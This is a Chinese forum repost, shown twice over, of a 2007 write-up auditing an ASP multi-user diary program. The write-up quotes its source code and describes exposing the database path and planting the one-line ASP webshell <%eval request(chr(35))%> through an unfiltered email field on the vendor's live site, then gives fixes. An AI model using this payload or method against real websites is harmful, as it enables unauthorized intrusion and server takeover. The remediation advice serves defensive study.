日记本BUG瞬间拿下梦想中国热线[转]
作者:我就是个世界
发表于:2008-09-19
刚刚看到这篇文章,写得不错,关键是代码很详细,对于ASP网站的代码安全
很有用.记录之~
[quote][b]日记本BUG瞬间拿下梦想中国热线[/b]
发表于:2007年8月4日 4时3分24秒 来源:http://user.qzone.qq.com/254456512/blog/26
日记本BUG瞬间拿下梦想中国热线
一个朋友由于建站的需要,让我帮忙挑选一款合适的日记本程序。我在网上搜索了很多日记本,最后把目标锁定在梦想天堂多用户日记本。这个日记本程序不是很大,而且做得很漂亮,基本能满足朋友的要求。
由于这样的程序脚本安全一般都不是很好,我就去官方下载了一个最新版的,然后在Google搜索看看有没有关于这个日记本的漏洞,结果没有发现什么。没有办法,只好自己读一遍这个日记本程序了,结果发现问题还真不小。我在官方验证了一下,直接拿到了梦想中国热线的WebShell。下面就来说说这个程序的问题所在。
我们先来看一下inc下的数据库连接文件conn.asp,其代码如下:
[/quote][separator][quote]
[code]<%
Dim conn
Dim sqlstr
Dim db
'更改数据库名字
db="data/aqbt.cn.asp"
set conn = Server.CreateObject("ADODB.Connection")
sqlstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")
conn.Open sqlstr
%>
<%
dim listnum,reguservalue
listnum=16 '定义每页显示日记数量
reguservalue=1 '这里 1允许新用户注册,0不允许新用户注册
cnt_new=20 '首页显示的新日记数
usernum=13 '首页显示的推荐会员数
'过滤非法字符
function HTMLEncode(fString)
fString = replace(fString, ">", ">")
fString = replace(fString, "<", "<")
fString = Replace(fString, CHR(32), " ")
fString = Replace(fString, CHR(34), """)
fString = Replace(fString, CHR(39), "'")
fString = Replace(fString, CHR(13), "")
fString = Replace(fString, CHR(10) & CHR(10), "</P><P'> ")
fString = Replace(fString, CHR(10), "<BR> ")
HTMLEncode = fString
end function
%>[/code]
从上面的代码可以看到程序的数据库连接部分没有做容错处理,这意味着存在着暴库的可能性。直接访问inc/conn.asp来看看,果然成功了。到官方网站试验一下。
我晕,默认数据库和我下载的默认数据库竟然完全一样!作者可能认为这个程序比较简单,不会存在什么问题才这样的自信吧?把下载的日记本的数据库打开继续研究,发现数据库也没有做相应的防下载处理。如此岂不是可以下载下来,看看MM写的日记了?呵呵。不过偷看别人的隐私可是不好的,不建议大家这样做啦!
我们继续看userreg.asp文件,其代码如下:
[code]<!--#include file="top.asp"-->
<%
if Trim(Request.QueryString("ation"))="reg" then
username=replace(Trim(Request.Form("username")),"'","")
password=replace(Trim(Request.Form("password")),"'","")
sex=Trim(Request.Form("sex"))
email=Trim(Request.Form("email"))
regip=Trim(Request.Form("regip"))
set rs=server.CreateObject("adodb.recordset")
sql="select * from userlist where username='"&username&"'"
rs.open sql,conn,1,1
if not (rs.bof and rs.eof) then
Response.Write("<script language=JavaScript>alert('该用户名称已经被注册,请尝试其他名称。')</script>")
else
set rs=server.CreateObject("adodb.recordset")
sql="select * from userlist"
rs.open sql,conn,1,3
rs.addnew
rs("username")=username
rs("password")=password
rs("email")=email
rs("regip")=regip
rs("sex")=sex
rs.update
response.cookies("user")=username
response.cookies("userid")=rs("userid")
rs.close
response.Redirect("userreg.asp?action=ok&username="&username)
end if
end if
%>[/code]
从以上程序,我们发现只要输入用户名、密码及邮箱的地址就能直接注册用户。程序过滤掉了表单中提交的用户名和密码的单引号,简单的判断一下用户名和密码是否重复就直接存放到数据库中了。如果我们在用户名和密码的部分填上一句话木马,而且数据库是ASP后缀的,不就可以得到一个WebShell了吗?但实际上是不可以的,因为作者对注册的用户名和密码的表单做了限制,最大长度都为12,不够一句话木马的长度。真正的问题出现在email地址上,从程序中我们可以发现程序对email没有做任何的限制和过滤就直接写入数据库中了,且最大长度是100,插入一句话木马足够了。这里我有点搞不懂,回到上面看conn.asp代码,既然作者都写了HTMLEncode过滤函数了,为什么在这里就没有过滤呢?难道真的是疏忽吗?
我们继续以官方网站测试。随便注册一个用户,在邮箱的地址里写入海洋一句话木马<%eval request(chr(35))%>,提交后,提示注册成功。然后用lake2的一句话客户端直接连接http://aqbt.cn/diary/data/aqbt.cn.asp。
到这里,我们已经成功地拿到了梦想中国热线的WebShell,其余的事情我就不做了。至于别的地方是不是有问题,我想也用不着继续看了,只要数据库是ASP后缀的且conn.asp没有做容错处理的站,直接秒杀!
至于漏洞的修补,对于暴库的问题,在conn.asp的开头加上一句On error resume next就可以了,但默认的数据库还是要修改的。对于用ASP作为数据库后缀名的话,最好要做相应的防下载处理,这样即使数据库不改,问题也不会很大,因为即使你能插入木马,也会由于ASP的特性,闭合不了还是没有法利用的;否则如果过滤不好的话,数据库不一定有MDB的安全。而有问题的邮件地址,直接用conn.asp中的函数HTMLEncode(fString)过滤一下就可以了;当然,最好还是写个邮箱的检测函数判断是否合法。脚本安全还是不能太大意了,虽然是一个小程序,我们也要用心尽量写出安全的代码,安全毕竟是一个全局呀。
[/quote]
很有用.记录之~
[quote][b]日记本BUG瞬间拿下梦想中国热线[/b]
发表于:2007年8月4日 4时3分24秒 来源:http://user.qzone.qq.com/254456512/blog/26
日记本BUG瞬间拿下梦想中国热线
一个朋友由于建站的需要,让我帮忙挑选一款合适的日记本程序。我在网上搜索了很多日记本,最后把目标锁定在梦想天堂多用户日记本。这个日记本程序不是很大,而且做得很漂亮,基本能满足朋友的要求。
由于这样的程序脚本安全一般都不是很好,我就去官方下载了一个最新版的,然后在Google搜索看看有没有关于这个日记本的漏洞,结果没有发现什么。没有办法,只好自己读一遍这个日记本程序了,结果发现问题还真不小。我在官方验证了一下,直接拿到了梦想中国热线的WebShell。下面就来说说这个程序的问题所在。
我们先来看一下inc下的数据库连接文件conn.asp,其代码如下:
[/quote][separator][quote]
[code]<%
Dim conn
Dim sqlstr
Dim db
'更改数据库名字
db="data/aqbt.cn.asp"
set conn = Server.CreateObject("ADODB.Connection")
sqlstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")
conn.Open sqlstr
%>
<%
dim listnum,reguservalue
listnum=16 '定义每页显示日记数量
reguservalue=1 '这里 1允许新用户注册,0不允许新用户注册
cnt_new=20 '首页显示的新日记数
usernum=13 '首页显示的推荐会员数
'过滤非法字符
function HTMLEncode(fString)
fString = replace(fString, ">", ">")
fString = replace(fString, "<", "<")
fString = Replace(fString, CHR(32), " ")
fString = Replace(fString, CHR(34), """)
fString = Replace(fString, CHR(39), "'")
fString = Replace(fString, CHR(13), "")
fString = Replace(fString, CHR(10) & CHR(10), "</P><P'> ")
fString = Replace(fString, CHR(10), "<BR> ")
HTMLEncode = fString
end function
%>[/code]
从上面的代码可以看到程序的数据库连接部分没有做容错处理,这意味着存在着暴库的可能性。直接访问inc/conn.asp来看看,果然成功了。到官方网站试验一下。
我晕,默认数据库和我下载的默认数据库竟然完全一样!作者可能认为这个程序比较简单,不会存在什么问题才这样的自信吧?把下载的日记本的数据库打开继续研究,发现数据库也没有做相应的防下载处理。如此岂不是可以下载下来,看看MM写的日记了?呵呵。不过偷看别人的隐私可是不好的,不建议大家这样做啦!
我们继续看userreg.asp文件,其代码如下:
[code]<!--#include file="top.asp"-->
<%
if Trim(Request.QueryString("ation"))="reg" then
username=replace(Trim(Request.Form("username")),"'","")
password=replace(Trim(Request.Form("password")),"'","")
sex=Trim(Request.Form("sex"))
email=Trim(Request.Form("email"))
regip=Trim(Request.Form("regip"))
set rs=server.CreateObject("adodb.recordset")
sql="select * from userlist where username='"&username&"'"
rs.open sql,conn,1,1
if not (rs.bof and rs.eof) then
Response.Write("<script language=JavaScript>alert('该用户名称已经被注册,请尝试其他名称。')</script>")
else
set rs=server.CreateObject("adodb.recordset")
sql="select * from userlist"
rs.open sql,conn,1,3
rs.addnew
rs("username")=username
rs("password")=password
rs("email")=email
rs("regip")=regip
rs("sex")=sex
rs.update
response.cookies("user")=username
response.cookies("userid")=rs("userid")
rs.close
response.Redirect("userreg.asp?action=ok&username="&username)
end if
end if
%>[/code]
从以上程序,我们发现只要输入用户名、密码及邮箱的地址就能直接注册用户。程序过滤掉了表单中提交的用户名和密码的单引号,简单的判断一下用户名和密码是否重复就直接存放到数据库中了。如果我们在用户名和密码的部分填上一句话木马,而且数据库是ASP后缀的,不就可以得到一个WebShell了吗?但实际上是不可以的,因为作者对注册的用户名和密码的表单做了限制,最大长度都为12,不够一句话木马的长度。真正的问题出现在email地址上,从程序中我们可以发现程序对email没有做任何的限制和过滤就直接写入数据库中了,且最大长度是100,插入一句话木马足够了。这里我有点搞不懂,回到上面看conn.asp代码,既然作者都写了HTMLEncode过滤函数了,为什么在这里就没有过滤呢?难道真的是疏忽吗?
我们继续以官方网站测试。随便注册一个用户,在邮箱的地址里写入海洋一句话木马<%eval request(chr(35))%>,提交后,提示注册成功。然后用lake2的一句话客户端直接连接http://aqbt.cn/diary/data/aqbt.cn.asp。
到这里,我们已经成功地拿到了梦想中国热线的WebShell,其余的事情我就不做了。至于别的地方是不是有问题,我想也用不着继续看了,只要数据库是ASP后缀的且conn.asp没有做容错处理的站,直接秒杀!
至于漏洞的修补,对于暴库的问题,在conn.asp的开头加上一句On error resume next就可以了,但默认的数据库还是要修改的。对于用ASP作为数据库后缀名的话,最好要做相应的防下载处理,这样即使数据库不改,问题也不会很大,因为即使你能插入木马,也会由于ASP的特性,闭合不了还是没有法利用的;否则如果过滤不好的话,数据库不一定有MDB的安全。而有问题的邮件地址,直接用conn.asp中的函数HTMLEncode(fString)过滤一下就可以了;当然,最好还是写个邮箱的检测函数判断是否合法。脚本安全还是不能太大意了,虽然是一个小程序,我们也要用心尽量写出安全的代码,安全毕竟是一个全局呀。
[/quote]
请发表您的评论